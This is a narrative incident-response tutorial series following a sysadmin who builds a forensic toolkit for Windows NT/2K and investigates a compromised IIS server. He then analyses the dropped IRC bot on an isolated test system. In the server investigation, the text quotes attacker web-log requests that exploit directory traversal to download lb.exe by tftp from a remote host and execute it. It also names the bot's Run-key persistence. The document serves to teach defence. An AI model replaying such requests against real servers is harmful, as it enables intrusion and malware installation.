Eliot sat quietly in front of his workstation. The steaming porcelain cup he clutched in his lap offset the cool glow of the screen. It had been a couple of weeks since he'd worked with Dave to determine the cause of the "suspicious" activity that Dave had detected. Since then, Eliot had read more closely the messages from the public list servers he subscribed to. He also started digging through the archives. One thing he'd learned is that NT and 2K systems were "chatty", often generating copious amounts of traffic that administrators considered "suspicious". He'd also learned that while there was a great deal of information available on conducting incident response and forensics investigations on Linux, Solaris, and other flavors of Unix, there wasn't much of the same available for NT/2K. While there were a couple of Web sites that talked about using freeware tools like 'dd' to make disk images, and a few that had Linux-based tools for examining those images, the majority of sites concerned commercial products. There just weren't many Web sites that covered collecting information from NT and 2K systems that had been 'hacked'.

That being the case, Eliot had decided to take it upon himself to develop his own incident response toolkit. He looked at it as something of a challenge…he couldn't find a comprehensive set of tools and utilities for investigating NT/2K systems, so he'd make one. With his familiarity with Linux and Solaris systems, he knew he could simply identify the functionality he needed and then hunt down the necessary tools. Eliot decided that he could even write some simple tools of his own, if he needed to. From there, he'd simply have to put together a methodology for using the toolkit. This meant that the time he had spent in front of the computer over the past couple of weeks had been tedious at time, but engaging at other times. He had found and tested quite a few of very useful tools, in several cases finding two or three tools that did pretty much the same thing. He'd decided that redundancy was advisable, as using multiple tools allowed him to verify the results.

One thing that was particular to Eliot's environment was that several of the systems he administered were file, Web, and e-mail servers. Eliot had talked to his supervisor, and had found that the primary concern of senior management was to keep the servers running. There were some servers that had their downtime measured in thousands of dollars per minute. There weren't many spare servers available, so Eliot had to be sure that he kept the systems up and running. Downtime just wasn't an option. Eliot decided that his goal should be to create a toolkit that allowed him to quickly and efficiently examine the systems in order to decide whether or not to recommend taking them down. Not only would this end up saving time and money in the long run, but the same toolkit and techniques could be used to solve problems that came up with other systems.

As he went about his search, Eliot began finding some interesting sites. At the SysInternals Web site, he'd found quite a few very useful tools that allowed him to look at the information available on running processes. FileMon and RegMon allows him to monitor processes and see what files and Registry keys they accessed. Pslist.exe shows the process information, similar to what is shown in the Task Manager. Listdlls.exe not only shows which modules, or DLLs, a process is using, but also lists the full path to the process image and the full command line used to launch the process. He found that pulist.exe, from the Microsoft Resource Kit, would show the owner of the process, and when combined with the

tools he'd already found, netstat.exe and FoundStone's fport.exe (displays process-to-port mappings), provides a fairly comprehensive snapshot of activity on the system.

Eliot had already had the opportunity to try out his toolkit. He'd gotten a call from a system administrator one afternoon about an employee's workstation that had something "odd" going on. The admin had left a message on his voice-mail, so Eliot hadn't been able to ask her for specifics about the situation. After several attempts at phone tag, Eliot simply grabbed a couple of 3 ½ inch diskettes and copied the utilities he'd found. He did so quickly, not being concerned about packing the tools onto as few disks as possible. Once done, he'd headed down the hall the elevator, and up to Jill's floor. He ran into Jill there.

"Jill, I got your message."

"Oh, Eliot! Thanks for coming." Jill had been hurrying past the elevators when Eliot had stepped out. She'd looked as if she was heading to a fire - but then, that was pretty much how things were for her. She provided support for one of the smaller offices, but the employees in this office were an unusual bunch. They liked to download and share all sorts of software they found on the Internet: games, animated cartoons, screensavers, just about everything. Someone had figured out how to disable the anti-virus software whenever they liked, even with the security mechanisms Jill had put in place. So Jill was kept on her toes. In fact, she described it as "herding cats down a beach."

"Well, can you tell me what's up?"

Jill sighed. "I'm not sure. One of the users said something weird was going on with his machine, but I couldn't get any specifics from him. I took a look at the system, but there wasn't anything in the EventLogs. I saw some stuff in the Task Manager, so I made sure the anti-virus was updated and ran a scan, but that didn't turn up anything. I figured I'd call you and see if you could find anything."

"Sure, I'll see what I can do."

Jill led Eliot into the cube farm, where they met and spoke with the user. He was still a little vague, but after several questions, Eliot was able to determine that he'd had trouble opening some documents and e-mail attachments, and even opening Outlook seemed to be taking longer than normal. He'd said that in the past, large documents would take a couple of seconds to load, but there was always a lot of disk activity. Now, the documents opened slower, but there wasn't any accompanying disk activity.

Eliot sat down at the user's desk and put his hands on the keyboard…and stopped. Where to begin? He had his disks, so he put the first one into the drive, opened a command prompt on the system, and changed the prompt to the A:\ drive. He confirmed that the disk had the first utility he wanted, and began to type the first command, pslist. But before he hit the Enter key, a thought occurred to him. How would he get the information he collected back to his workstation? He couldn't simply analyze it here, he had to get the data back to

his system to he could go through it and figure out what it meant. He needed to be able to analyze the data and decide what to do next, and he couldn't do that here, there was too much going on, too many distractions. Besides, he felt he had some time, as nothing had really happened. So far, the user hadn't said anything about files being deleted, or the age-old shenanigans of pop-up messages and the CD-ROM tray opening and closing. Eliot thought at first that he could save the output of the commands he ran in a file, and then either copy the file to a diskette, print it, or copy the file to a mapped drive on his workstation. But he couldn't do that, could he? If he did, what he would be doing would be tantamount to altering a possible "crime scene". By writing the files to the hard drive, he'd be making changes to the system he was investigating.

Eliot sat back and thought for a moment. He then re-ran the 'dir' command and found that he had plenty of space on the diskette itself. So he ran the following command: a:\pslist > a:\pslist.log

This saved the output of the command by creating a file on the diskette, rather than the hard drive. Eliot repeated this with each of the utilities he'd copied to the diskettes, and found that he had plenty of space left over on several of them. After all, the output of each command was basically a text file, and text files didn't take up a lot of space. Eliot decided that the chances of any programs on the system had been "trojaned" were pretty slim. He remembered that this happened quite often on compromised Linux systems, particularly when "rootkits" were used. But after all, he was running a command prompt from the system, so he ran several commands that were native to the system. He also decided to see if he could collect more information about network connections and activity. He ran arp.exe, nbtstat.exe (with the '-S' and '-c' switches to view sessions and the name cache, respectively), and several variations of the net.exe command, including "net use", "net sessions", "net file", and "net view". He hoped these "net" commands would reveal some information about network connections on the system.

Once Eliot had collected all the information he could think of, he thanked the user, and went by Jill's office to give her an update. As he suspected, she wasn't around, so he decided to leave her a message on a sticky note and then follow it up with an e-mail once he was back at the office.

When he got back to his office, Eliot went straight to his workstation and copied all of the information he'd collected from the diskettes to a new directory on his system. He started going through the myriad of information he'd collected, but didn't see anything unusual. He saw a process called "WinWord" for example, in the output from pslist.exe. He looked for the process identifier (PID) in the output of listdlls.exe, and found by looking at the command line that it was indeed Microsoft Word. He'd remembered seeing that application listed on the taskbar. He even went so far as to check the output of fport.exe to be sure that the process wasn't using a network port.

As he was working, Eliot thought that this process of analyzing the data by hand was tedious and time consuming, but he couldn't see any other way. He knew there are lists of

well-known ports available, mapping major and commonly used services to the ports they listened on, awaiting connections. He also knew that there were many, many lists of default Trojan ports that listed the vast array of Trojans and the default ports they used. However, Eliot was also well aware that most, if not all, Trojans provided the user with the ability to change the default port, so trying to track down a particular Trojan by port scanning the system seemed to him to be a great waste of time. Eliot felt that there had to be a better, perhaps more efficient way of handling this, but he hadn't found it until he'd located fport.exe at the FoundStone site. This tool was unique: it's only drawback was that it had to be run locally on the system being examined.

Finally, after spending almost an hour going back and forth between the various output files, he'd finally decided to just print them out. Eliot thought he'd found something. While he couldn't say that this is what was causing the problem, he did find two unusually named processes. The output of listdlls.exe for each showed that the executable files were in the same directory. Eliot opened up a browser, and headed to Google, his favorite search engine. Once there, he typed in the names of one of the processes, and was almost immediately rewarded with a complete page of hits. He read a couple of summaries, and the second one said something about "spyware". Eliot knew that spyware was that little extra code or program that got sent along with some other, legitimate, program in order to collect information about the system or user, and send that information back to a central location. He'd read that marketing firms often used this kind of software.

Interestingly enough, the site was fairly detailed and explained not only what each of the files did, but also that they were part of the package that was downloaded with an ostensibly legitimate program. Eliot quickly confirmed that there was information that referred to the program in the data he'd collected, and decided that he'd figure out what a problem was, if not the problem. He went back and took a look at the information he'd collected regarding the two processes. The output of pslist.exe showed that they were both pretty busy, and the output of fport.exe showed that one of them was using a network port. He took a look at the output of netstat.exe, and found that the system was connected on that port to a remote system.

Eliot put together a quick e-mail to Jill, with instructions on what to do. He let her know that there really wasn't much to be concerned about other than deleting a couple of files and Registry entries. By the end of the day, Jill returned his e-mail and said that she'd followed his instructions and the user wasn't experiencing the delays opening files any longer.

That evening, while at home, Eliot thought about the events of the day. He felt that he had a reasonably good toolkit put together, but he also felt that he had more work to do. He was glad that the incident hadn't turned out to be anything criminal, as his puttering around might have damaged or even destroyed evidence. Eliot decided that what he needed to do was get his entire toolkit together, and burn it to a CD. That way, he'd have it all together, and it would be protected if a virus had infected the "victim" system. He could also prove that his tools hadn't been affected or modified in any way. In fact, he could go

so far as to copy the command interpreter itself (cmd.exe) to the CD, and run his commands from this version. He even considered writing a batch file to automate collecting the information he needed, knowing that by doing so, he sped up the collection process and minimized the chance of making mistakes.

That was great, but what about his tools? He could copy them to the CD, but he was wondering if he was fully prepared…did he have everything he needed? Using the tools he had already found, he had collected a great deal of what he referred to as "volatile data". This was information about the system that existed in memory, and was gone when the system was turned off or rebooted. Volatile data included things like processes, network connections…but what else was there? Had he left anything out? What about the ClipBoard? Eliot found himself copying things to and from the ClipBoard all the time, sometimes copying chat sessions from his AOL Instant Messenger to be pasted into a Word document or even another chat window.

It occurred to Eliot that he'd used the command prompt quite a bit. In fact, he did that all the time. He felt more comfortable using the command prompt than having to navigate through a maze and a myriad of clicks in the user interface. A fleeting spark skirted across his brain, and he reached for an old copy of an MS-DOS 5.0 command reference he kept around. As he thought, if he typed the command "doskey /history", he'd see a list of commands typed at the prompt, much like the history file in a Unix shell.

It had been a long day, and Eliot felt he was on the right track. He decided to keep his eyes open for other tools, but what he really needed to do was find a way to get data off of the system he was examining without altering the system itself.

Next Time

Stay tuned for the fifth and final installment of the "No Stone Unturned" series. In the final installment, Eliot completes his toolkit, answers some final questions, and tries to discover the purpose behind a file he found on a system.

To read Part Five of this series, please click here.

No Stone Unturned, Part Five
by H. Carvey
last updated June 25, 2002

Introduction

This is the fifth and final installment of a five-part series describing the (mis)adventures of a sysadmin named Eliot and his haphazard journey in discovering "The Way" of incident response. As we left off last time, Eliot had started putting together a toolkit to help with incident response and analysis. He had had an opportunity to give the kit a quick test and had been satisfied with the results, but the toolkit was not quite finished.

Part Five

Eliot rubbed his eyes. Staring at the computer screen for too long, especially when looking at plain text for an extended period, tired his eyes and gave him a headache. Of all the times to ingest caffeine in any form, this was most definitely not one of them. Sure he'd get the rush, the increased heart rate, the burst of energy, and the creative, intuitive surge that came with it. But he'd also exacerbate his headache, making things much worse as he came down off of that artificial but oh-so-familiar high.

What was he looking for again? Better yet, what was he looking at? Stare at something long enough, he thought, and you lose track of your objective, time...everything. Then he remembered, he was looking at text logs from an FTP server. A friend of his, another admin, had sent him a zipped archive of the logs from his FTP server, asking Eliot to take a look at them. It seems that they'd started having trouble with the system, and found that not only were response times to the system being severely degraded, but they'd suddenly lost of six gigabytes of drive space. A closer look at the files, buried in a directory structure under the word "tagged", showed that they were portions of pirated movies. Unfortunately, Eliot's friend hadn't sent any of those movies, just the log files.

Eliot was going through the files by date, starting with the most recent one. The more recent log files were considerably larger than the older ones, due to the fact that they showed the activity of all the people who had logged into the server to download the files. This was most likely the cause of the degradation of service: with so many people accessing the server and retrieving these huge files, Eliot was surprised that it had taken almost ten days for anyone to report the problem. It was easy to find the first day, when the original person logged into the server - it could have been a script - and created the directory structure. In fact, Eliot was pretty sure it was a script, judging by the fact that the commands appeared on the server far too quickly to have been typed by hand.

As Eliot went further and further back, one log file at a time, he could see the activity where the normal users logged in, but he could also see where someone had been scanning for vulnerable servers. It was always the same activity, though from different IP addresses. The scan would log in using the anonymous account, send "ie@user" as the password, then create and then delete a directory. The response codes from these commands showed that they had succeeded, indicating that the FTP server was configured to allow anonymous users the ability to write to the drive. This was extremely distressing: it meant that the system hadn't been "hacked", but that the admins had been careless.

Eliot's headache threatened to split his head in half at the thought of telling his friend what he'd found. But there it was, the facts spoke for themselves. There was just no way around it.

Over the past several days, Eliot had made great strides in pulling together his personal administrator's toolkit. His primary focus had been to find tools that would extract information from systems that were potentially compromised. After reading several Web sites and reviewing public lists about forensics, Eliot had figured that it would be best to copy all of his tools to a CD. This would prevent them from being altered or infected with a virus from the "victim" system. Surprisingly, as he was gathering his tools, Eliot came to a realization. He

was trying to find tools to help him pull information from Windows systems, but he was finding that the most suitable tools were command line tools - they didn't have a graphical user interface. The GUI tools were great, but the only way to save the information they displayed was to either copy it by hand, or save it to a file. Saving the information to a file would alter the environment that he was trying to investigate. Not even screen captures would work: some of the tools displayed a lot of information, with the associated scrollbars, and the capture would have to be saved someplace on the victim system.

Eliot had read an article that showed how to use the program netcat to copy information from a Solaris system to another computer on the network, where that information was saved. He'd tried the same techniques on NT and 2K systems, and found that they worked rather well. However, they only worked with command line tools, ones that wrote their results to standard output (STDOUT). Eliot had run several successful tests, not only sending the output of commands from one system to another, but also copying files without having to log into the remote system and map a drive.

One concern that Eliot had early on in his testing was the fact that he was sending this information to another system in plain text. He'd assumed this, and then downloaded and installed Ethereal onto a 2K system and verified it. Ethereal did a great job of capturing packets, and also had a feature that allowed him to select a packet in the capture, and then reassemble the entire stream. He'd thought that if one system on the network had been compromised, others might have been as well. At the very least, he needed a way to encrypt the data as it went across the network.

He'd found the solution at an obscure site called Farm9 Intrusion Prevention, Detection, and Response. These guys had taken the source code for netcat and added encryption to it. It was essentially the same program as netcat, with Blowfish encryption added. The program was called cryptcat. By renaming the program to "cc", Eliot could simply replace the "nc" for netcat in all his commands. Setting up the server became:

```
c:\>cc -L -p 7070 > c:\securedata\netstat.log
```

Sending the output from netstat -an, when running the command from the CD-ROM drive on the "victim" system, to the forensics workstation became:

```
d:\>netstat -an | cc 192.168.0.1 7070
```

Using tools like netstat.exe from a "clean" system, fport.exe from FoundStone, and handle.exe, listdlls.exe, pslist.exe, and psinfo.exe from SysInternals, Eliot could collect a great deal of information from a system. One thing he'd found, though, was that these five tools, as useful as they were, provided a lot of information - almost too much. Handle.exe gave all the handles a process had open: files, events, threads,everything. Not only that, but the tool provided the user context in which the process was executing. Listdlls.exe provided not only the DLLs the process depended on, but also the command line used to launch the process. Pslist.exe provided a listing of all processes, and fport.exe provided a process-to-port mapping. Eliot found that for NT and 2K systems, these tools provided a pretty comprehensive view of what was happening on a system. The challenge was to manage all of the information that these tools created. At first, Eliot had printed out the information and laid the papers out on a table, and went through the pages one process at a time, but there had to be a better way. A quicker way.

After quite a bit of searching, Eliot found what he was looking for. He came across a Perl script called procdmp.pl that did exactly what he wanted, it correlated and consolidated the data from these five tools. The script created an HTML file containing a listing of each process, with the user context, command line, open files, and open ports and connections of each process in a nice, neat table. By running this script against the output he collected from the tools, Eliot could quickly and easily determine if there were any suspicious processes running on the system. If there were, he'd have a consolidated listing of the necessary information to make a decision about what to do next. If he needed more information, well, he had the output files to refer to.

He'd used the Perl script several times in determining what was happening on a system. He'd initially redirected the output of the tools that he'd burned to CD to files on a diskette, but then later used netcat and cryptcat to get the data off of the "victim" system. Once he'd run the procdmp.pl script and had the information he needed, he'd had plenty of hard data to help him decide what to do next.

In most cases, the issues were fairly innocuous, spyware or foistware (software that surreptitiously installs hidden components on the unwitting user's system) installed when a user loaded some other program on their system. One he'd found was called WebHancer. A Web search showed that this little beauty would monitor the Web pages that the user visited, and recorded the pages the user requested, as well as how long it took the page to download. That same search told him that he couldn't simply uninstall the software, because it somehow messed with the DLL that allowed Windows computers to access networks. Eliot barely understood this, since he was more of a scripter than a programmer, but the hairs on the back of his neck stood on end when he read this information. Fortunately, when he read on, he found that a program called AdAware can detect and remove this program, as well as several others. AdAware seemed to be updated fairly frequently, to keep up with new bits of spyware, so Eliot didn't burn this one to CD. He kept the latest copy of the installation program and updated reference file in a directory, and simply copied them to diskette when he needed to use them.

Things had been pretty quiet, giving Eliot time to add to his toolkit. He found useful utilities in the Resource Kit for Windows 2000 from Dynawell Web services. Auditpol.exe allowed an administrator to manage the audit configuration on a system, and verify those settings later. Eliot found it useful to run the command to determine which events were being audited on the system. Drivers.exe provided a list of installed drivers on the system. Local.exe enumerated local users on the system and global.exe enumerated the global users. Eldump.exe dumped EventLog entries to the screen. Diruse.exe provided a listing of the disk usage for a directory tree. Pulist.exe enumerated the processes and the user context under which they ran. There was one tool that Eliot found extremely useful, whoami.exe. This tool would display the context and privileges of the user logged into the system. With this information, Eliot could get an idea whether the user had escalated his privileges, or added privileges such as "act as part of the operating system."

He found other useful tools at the SysInternals site, such as psinfo.exe, psservice.exe, psloglist.exe, autoruns.exe and strings.exe. The FoundStone site provided utilities for looking at systems and files, such as bintext.exe, afind.exe and sfind.exe. Lads.exe from HeySoft.de was the best tool for detecting and enumerating NTFS alternate data streams that Eliot had found so far.

With these tools on a CD, Eliot felt that he was ready for just about anything. He also felt

more than a little confident about his abilities, given how quickly he'd resolved issues he's already run across. That's exactly how he felt when he got a call from an admin by the name of Elizabeth. Elizabeth did system administration work for HR, and worked with Cynthia. Mostly, she did helpdesk sorts of things, but she also managed the HR portion of the company intranet. Over the past couple of months, the HR site had grown from a simple contact list with phone numbers to a complete site containing policies, forms, links to the sites that hosted various benefits, everything HR had available could be accessed or downloaded if an employee couldn't make it into the main office. Eliot had worked with Elizabeth in the past, but hadn't seen her much since the HR content had been moved to it's own internal Web server, which was now part of Elizabeth's duties to manage.

Elizabeth had told him that she'd seen something strange on the Web server. When Eliot pressed her for more information, she'd said that she'd seen an unusual entry in the Security EventLogs on the system. It seems she'd enabled auditing for Process Tracking, checking the boxes for both successful and failed events, in order to troubleshoot a problem she was having. After she'd figured out what was going on, she'd forgotten to disable the settings. However, yesterday she'd looked at the entries in the Security EventLog and found an event ID of 592 that she didn't recognize. The data for the entry contained the text:

A new process has been created:

New Process ID: 2162584928

Image File Name: \Inetpub\Scripts\lb.exe

Creator Process ID: 2223771680

User Name: IUSR_HRWEB

Elizabeth said that the file listed in the EventLog entry was still on the system. She'd run a "dir" command to confirm it. However, she hadn't taken any further actions, and had opted to call Eliot instead. Eliot locked his workstation, grabbed his CD of tools and a couple of diskettes, and headed to Elizabeth's office.

When he got to Elizabeth's office, the door was ajar, so he knocked and pushed it open.

"Hey, Beth."

"Eliot! Glad you were free. I didn't want to do anything with the server until you had a chance to take a look at it," she said.

"Thanks, I appreciate it."

Her office was a small room with a desk, her laptop, and a row of three servers along one wall. There wasn't a lot of room, and Eliot had to sit on the edge of her desk just to get close to the servers.

"Which one is it?" Eliot asked.

"The one on the right, with the HRWEB sticker on it," she replied.

The command prompt was still open on the screen for the system. Elizabeth had been completely accurate in what she'd said. She'd left the system exactly as it was when she'd confirmed the existence of the suspicious file. The Event Viewer was still minimized on the Task Bar.

What to do, Eliot thought? He hadn't faced a situation like this one before. Fortunately, the HR Web server wasn't a critical system, and could be taken down and reloaded, if necessary. But formatting the drive and reinstalling everything from CD, installing service packs and patches, and then all of the content could take a while. Eliot wanted to avoid that sort of thing, if possible. If he could show that this wasn't a system-level compromise (one in which administrator, or greater, access had been obtained by an external intruder), he could save

Elizabeth a considerable amount of time.
He opened the Event Viewer and looked at the entries. He found the entry that Elizabeth had told him about, as well as two others that showed processes had been created. One mentioned a file called "Statistics.exe", located in the directory "c:\program files\winnt\manual". The other was called "teamscan32.exe" and was located in the same directory. Unfortunately, Eliot had no way of knowing which events that stated that a "process had been exited" applied to which of the processed that had been created. However, all three of the processes had been created under the username "IUSR_HRWEB", which, if he remembered correctly, was an account with about the same privileges as the Guest account. He was relieved to see that none of them had been created under the Administrator or System accounts.
Eliot figured it was about time to use the tools he'd collected. He put the CD in the drive, and changed to the drive in the command prompt. The first thing he did was run pslist.exe to get a listing of the processes currently running on the server. He saw "statistics" running with a PID of 1040, but didn't see the other two processes. He also ran fport.exe, "netstat -an" (he'd been sure to copy netstat.exe to the CD), pulist.exe, and listdlls.exe. First, he ran the commands to see what they'd show, and then reran them, redirecting their output to files on the diskettes. Since the Security EventLogs contained some useful information, he used psloglist.exe from SysInternals to copy the contents of the logs to diskette. He also copied the Web server logs for the day the event occurred to diskette, and ran a series of 'dir' commands on the Winnt subdirectory in 'Program Files' to preserve the MAC times of the files and directories:

```
dir /tc /s "c:\program files\winnt" > a:\create.txt

dir /ta /s "c:\program files\winnt" > a:\access.txt

dir /tw /s "c:\program files\winnt" > a:\written.txt
```

On a whim, Eliot decided to see if there was an entry for "statistics.exe" in Registry. He used reg.exe from Microsoft to enumerate the contents of the "Run" key. To his surprise, he found exactly what he was looking for, an entry that pointed to "statistics.exe", launching it on system startup. He then ran keytime and found that the last time the Registry key had been modified coincided with the time the process called "lb.exe" was created.
Eliot collected up his diskettes, thanked Elizabeth for her time, and headed back to his office. After going through the files he'd collected for an hour or so, he drafted an e-mail to Elizabeth, letting her know what she needed to do to recover the system. From what he saw, there didn't seem to be any significant issues on the system. From the Web server logs, it was clear that the directory transversal exploit had been used to copy the command interpreter to the scripts directory, then copy the file "lb.exe" on the server using tftp.exe, and finally execute it:

```
GET /scripts/root.exe /c+tftp+-i+10.1.1.15+GET+lb.exe+lb.exe

GET /scripts/root.exe /c+lb.exe
```

The netstat output he collected showed a connection to a remote server on port 6667, which Eliot had determined was used by IRC. The output of fport showed that statistics.exe was using the local port on that connection. So this was some kind of program that communicated on IRC. Eliot had no idea what information the program had communicated to the IRC server so far, so he told Elizabeth to use Task Manager to kill the process, then remove the Registry entry for the "Run" key, and delete the directory structure that had been created. He also told her that she should remove the file "root.exe" from the "\scripts" directory, patch the Web

server against the directory transversal exploit, and at least move executables like tftp.exe to another directory.

Conclusion: Final Thoughts

Over the course of this series, our friend Eliot has developed a toolkit, as well as a skillset, for handling incidents that occur to NT/2K systems. Furthermore, his experiences have shown the necessity of developing a well thought-out incident response policy prior to the occurence of incidents. Hopefully, his experiences have shown the reader what sorts of things are possible when it comes to handling incidents on these systems and what sorts of preparations should be undertaken to ensure proper, effective incident response.

To read Part Six of this series, please click here.

No Stone Unturned, Part Six

by H. Carvey
last updated August 14, 2002

Introduction

This is an additional installment to the No Stone Unturned series, which was written to help clarify to NT/2K admins the steps they can take to determine the nature and purpose of suspicious files found on their systems. In Part Five of the series, our heroic system administrator found an unusual file on a compromised system. In this bonus installment, he attempts to determine the nature and purpose of that file.

Part Six

Eliot sat at his desk. His arms were crossed in front of him on the desktop, and he'd pushed his seat back so he could rest his chin on his arms. Across from him on the desktop was a diskette. Eliot imagined that he could see through the outer plastic shell of the diskette, and visualize the magnetic film inside. He could see in his mind's eye the data that was actually on the diskette.

Just last week, Eliot had responded to a call from Elizabeth to come look at the HR Web server. It seems someone had accessed the server through an old vulnerability, and deposited the file on it. According to the EventLog entries on the Web server, a couple of unusual processes had been run. Additionally, several directories and files had been created on the system. Seeing these artifacts, Eliot had thought that perhaps they were all related, and had copied the files off of the Web server. He'd copied one particular file, lb.exe, to a diskette by itself. Another diskette contained the other files he'd found, along with a directory listing. The directory listing included several directories under c:\program files\manual, but only one of those directories, winnt, contained files:

Directory of C:\Program Files\Manual\WINNT

05/04/2002 05:06p <DIR> .

```
05/04/2002  05:06p    <DIR>          ..
04/28/1999  10:46p            33,183 bl.drv
05/04/2002  05:06p            18,342 cco.drv
05/04/2002  05:06p            18,342 cdl.drv
04/11/1999  06:40p             6,381 cl0ne.dll
05/04/2002  05:06p            17,742 cli.drv
05/04/2002  05:06p            18,642 dbp.drv
05/04/2002  05:06p            18,942 dhc.drv
05/04/2002  05:21p             2,690 drx2.inf
05/04/2002  05:05p             2,836 dw.drv
05/04/2002  05:06p            18,642 fsd.drv
05/04/2002  05:06p            17,442 gjj.drv
05/04/2002  05:06p            17,742 gzy.drv
05/04/2002  05:06p            17,742 iib.drv
05/04/2002  05:06p            18,042 jee.drv
05/04/2002  05:06p            18,042 kvd.drv
05/04/2002  05:06p            17,742 kwc.drv
05/04/2002  05:06p            18,342 laq.drv
04/25/1999  04:39p            20,429 mn.drv
05/04/2002  05:06p            17,742 ozy.drv
12/29/1998  01:14a             1,988 proxylist.txt
05/04/2002  05:06p            18,042 rxc.drv
04/20/1999  05:22p            26,649 sc.drv
05/03/1999  11:12p            30,741 sl.drv
08/22/2001  08:38p           562,176 Statistics.exe
01/07/1999  03:20a            90,112 Sysinfo.dll
10/18/2000  05:23p            22,016 TeamScan32.exe
05/04/2002  05:06p            18,342 tqe.drv
05/04/2002  05:06p            18,342 uig.drv
05/04/2002  05:06p            18,942 ujk.drv
04/18/1999  09:50p            29,100 unicodbag.txt
01/15/1999  02:54p                 0 unicod_look
01/15/1999  02:54p                 0 unicod_ready
01/15/1999  02:30p                24 users2.txt
01/06/1999  10:54p                95 wm.drv
05/04/2002  05:06p            18,942 wou.drv
05/04/2002  05:06p            18,342 zjr.drv
```

05/04/2002 05:06p 18,342 zyp.drv

37 File(s) 1,211,202 bytes

Many of the files in this directory were actually scripts of some kind, several of them just copies of another script. Eliot didn't recognize the scripting language, though it reminded him of C or Perl code. He wondered what the mechanism for launching the scripts might be.

The file lb.exe seemed to be at the root of everything else that happened on the server. Eliot had decided to try and determine what this file was, as well as its purpose. Now the diskette sat before him, and he really had no idea where to start. Opening the diskette in Windows Explorer simply showed the icon for the file "AZzZ Team" in neon green lettering. He'd done a Google search for any reference to this "team", and found nothing.

Eliot reached back into his memory of dealing with suspicious files on Unix systems. Unix came with a wide range of utilities for "looking at" files, so he figured that all he needed to do was find tools for Windows systems with similar functionality. However, he also knew that Windows files had different characteristics from Unix files, especially executables and dynamic linked libraries (DLLs). So he'd need to find tools that revealed those aspects of the file as well.

His first thought was to fall back on the old standby, strings.exe. Eliot found a convenient copy of the utility at the SysInternals Web site, and ran it against lb.exe using the following command:

```
C:\lb_file>strings -a -n 4 lb.exe > strings4.dat
```

The command resulted in a .dat file almost 50K in size. That's quite a bit of data to go through, Eliot thought. He opened the file in Notepad and the first thing he saw at the top of the page was:

```
This program must be run under Win32

UPX0

UPX1

UPX2

$Id: UPX 0.62 Copyright (C) 1996-1999 Laszlo Molnar & Markus Oberhumer $

$Id: NRV 0.54 Copyright (C) 1996-1999 Markus F.X.J. Oberhumer $

$License: NRV for UPX is distributed under special license $
```

"Ah, a clue," Eliot thought with relief. This indicated that the executable file he was working with was actually compressed with UPX, an executable file compressor. However, the version was older than anything Eliot had seen available. Eliot checked out the UPX site at SourceForge.net, and the oldest version he could find was 1.0. He downloaded it and tried to run it against lb.exe to get a file listing, but instead got an error message referring to incompatible versions.

Not to be deterred by this apparent dead-end, Eliot continued browsing through the .dat file. Things went faster as he hit the "page down" key again and again, nonsense text scrolling by. He guessed that was to be expected: after all, the file was compressed and any usable data would be unreadable. When he finally reached the end of the .dat file, he found some readable text again:

<>Even the fool can break open it... But only clever will not do it...<> (c)

Ah, a message to the user, or anyone with the intestinal fortitude to open the file in a text editor. Interesting. A Google search on this phrase revealed nothing. Eliot was beginning to wonder if he'd ever get anywhere with this file.

Knowing that some individuals and companies who create programs for Windows will compile vendor, author, and version information into the resource section of an executable file (EXE, DLL, SYS, etc.), Eliot located a Perl script called finfo.pl that would extract that information, if present. For example, executable files provided by Microsoft contain this information. Running this script against lb.exe, Eliot didn't get any useful information. That was to be expected, he thought, since the file was compressed, but he had to try. Eliot felt that it was better to try something, regardless of the arguments against it, and document the result, rather than not try it.

With the clues he'd found so far, he decided that the best thing to do was to just execute the file on an isolated test system. He knew that he needed some means of "snapshotting" the system both before and after the installation, in order to determine what changes were made when the file was executed. Not only that, but he needed a way to quickly and accurately compare those snapshots. Less than an hour of searching led him to a utility called InControl5. This utility does exactly what Eliot needed, and provides for output formats in HTML and comma-delimited text (.csv) for opening in Excel. But he also wanted to be sure that he'd covered all the bases, so he ran several other utilities on the system, including service.pl, drivers.exe (from the Resource Kit), pslist.exe, listdlls.exe, fport.exe, and netstat.exe. Eliot redirected the output of each of these commands to uniquely named files, so that he could run the commands again later, and compare the results.

So Eliot loaded lb.exe onto an isolated, non-networked test system, installed InControl5 from the incident response CD he'd created, and run the first half of the two-stage process. He also made sure to enable Process Tracking in the EventLog, in order to determine what processes ran and at what privilege level. Once InControl5 completed it's initial snapshot, he executed lb.exe and waited for about a minute. At first, there was quite a bit of drive activity, but once it quieted down, he completed InControl5's analysis process. He then re-ran the utilities he'd run previously in order to see if any new processes had been created, services installed, or ports opened.

Once he'd collected all of his data, Eliot opened up the Event Viewer to see what evidence the test had left behind. Exporting the contents of the Security EventLog to a .csv file that he could open in Excel made viewing the events much easier. He walked through the events and saw the event IDs of 592 for processes called lb.exe, statistics.exe, and TeamScan32.exe. Interestingly, the last two were executables that appeared in the directory listing he'd found on the Web server. Oddly enough, though, only statistics.exe appeared in the process listing obtained with pslist.exe. In fact, the output of fport.exe showed that this statistics.exe was using a port:

```
1028  Statistics     ->  1053  TCP  C:\Progra~1\Manual\WINNT\Statistics.exe

1028  Statistics     ->  61080 TCP   C:\Progra~1\Manual\WINNT\Statistics.exe
```

Since the test system was not on a network, Eliot figured that he had some time to peruse the data he'd collected already. One of the issues he'd heard about with new systems put on networks, and even honeypots, was that if they weren't employed and managed correctly, they could actually serve as an access point into the network. Eliot figured that the first place he would start was with the .csv output file from InControl5. He located the file, and double-clicked it, opening it in Excel. The first section he came across was the section that listed

modifications to the Registry. Scrolling down, Eliot could see that keys had been added to the Registry, particularly:

HKEY_CURRENT_USER\Software\Mirc

HKEY_CLASSES_ROOT\ChatFile

HKEY_CLASSES_ROOT\irc

With few exceptions, these were the keys that had been added, with subkeys being added beneath them. Eliot knew from the reading he'd done that Trojan applications and other malware usually maintained persistence by creating an entry in the ubiquitous "Run" key, located under HKEY_LOCAL_MACHINE\Software\Microsoft\CurrentVersion\Windows. Scrolling through the spreadsheet, he found the key he was looking for. Looking to the right of that key in the same row, he found the data that had been added to that key:

ScanDetect32 c:\progra~1\manual\winnt\statistics.exe

There it was, the Registry entry that would allow the application to be run every time the system was restarted. Eliot knew that this information was very useful, as it justified the time he put into Perl scripts that would remotely check the contents of that key on all systems in the domain, as well as update the permissions on that key. As an aside, Eliot decided to use the keytime.pl Perl script to verify the LastWrite time for the "Run" key. The response that the script returned corresponded to the time that he'd run the test, just as he'd expected.

Scrolling further down through the spreadsheet, Eliot reviewed the modifications that had been made to the file system. There wasn't anything unexpected there; in fact, every entry in the spreadsheet corresponded directly to the directory listing he'd obtained from the Web server.

